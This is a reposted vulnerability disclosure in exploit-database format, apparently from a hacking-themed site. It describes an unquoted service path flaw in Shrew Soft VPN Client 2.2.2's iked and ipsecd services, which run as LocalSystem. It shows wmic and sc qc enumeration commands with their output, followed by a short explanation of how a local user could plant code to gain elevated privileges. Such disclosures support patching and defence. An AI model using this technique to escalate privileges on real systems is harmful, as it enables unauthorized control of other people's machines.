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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path
# Date: 2019-11-14
# Exploit Author: D.Goedecke
# Vendor Homepage: www.shrew.net
# Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe
# Version: 2.2.2
# Tested on: Windows 10 64bit


C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
ShrewSoft IKE Daemon iked                                        C:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto
ShrewSoft IPSEC Daemon ipsecd                                    C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto 


C:\Users\user>sc qc iked
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: iked
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShrewSoft IKE Daemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\user>sc qc ipsecd
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ipsecd
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ShrewSoft IPSEC Daemon
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem 



#Exploit:
============
A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.